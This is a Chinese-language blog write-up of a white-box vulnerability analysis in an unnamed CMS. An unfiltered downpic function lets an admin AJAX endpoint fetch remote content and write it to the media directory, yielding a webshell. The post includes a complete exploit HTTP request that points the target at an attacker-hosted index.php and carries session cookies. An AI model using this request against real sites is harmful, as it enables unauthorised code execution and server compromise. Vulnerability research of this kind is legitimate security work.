記一次文件下載getshell白盒
前言
2023年了,敬業的人還在上班,首先祝大家新年快樂,期待新的一年有新的成長~
閑來無事,逛逛代碼倉庫,掃一掃,看到某CMS里面有這么一個方法,里面的內容很簡單,可以說是目測存在getshell漏洞。但是實際上踩坑無數,弄了很久,因為分析的時候有意思,利用的也有點意思,所以分享出來。
代碼分析
1、首先查看漏洞點,downpic方法獲取了一個參數$url,未進行過濾,獲取URL文件內容后進行文件寫入。其中寫入后的文件后綴即為傳入的URL中的文件后綴。

2、搜索發現/admin/ajax.php存在4處位置調用了此方法

3、通過幾次篩選,最后確定入口點為collection_all
第一個if判斷,需要id搜索到有東西,經測試網站默認安裝便有一條數據,所以id賦值為1即可

4、往下執行,發現這里遠程加載的文件內容需要有$C_titlestart和$C_contentstart

構造文件內容第一行

5、再往下,進入下一個if判斷,條件為sql語句執行結果小于等于0

構造文件內容第二行中的一串隨機字符

6、下一個條件分支,需要文件內容中含有src=",直接復制了那行代碼到文件中


7、后面循環無影響,到$picx的賦值,因最后拼接的路徑為src="后的字符,故將index.php放到文件的最后面,然后調用了downpic方法


8、查看downpic方法。傳入URL,生成以時間戳+隨機字符的文件名,獲取遠程文件內容,寫入文件。

漏洞利用
1、構造惡意請求,向外請求index.php

GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1Host: 10.211.55.3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://10.211.55.3Connection: closeReferer: http://10.211.55.3/admin/Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cnContent-Length: 2
2、返回成功即可在media目錄下看到文件已經成功上傳,內容為index.php文件內容

攻擊者則可以通過網站安全-文件管理功能查看具體文件名

3、訪問該文件,獲取webshell


總結
這個漏洞我好像分析了2個小時吧,主要是構造payload方面花了心思,一開始沒想看很多代碼,直接利用發現失敗了,調試了幾次終于可以利用,總的來說,利用條件苛刻,可利用性不高,聊勝于無。
題外話:最近新開了個知識星球,期待大家關注。本來是打算放項目上的干貨的,但是最近迷上了反序列化和內存馬,所以可能會有一段時間都是這類內容。當然干貨也會不定時更新,主要分享實戰方面的細節。。。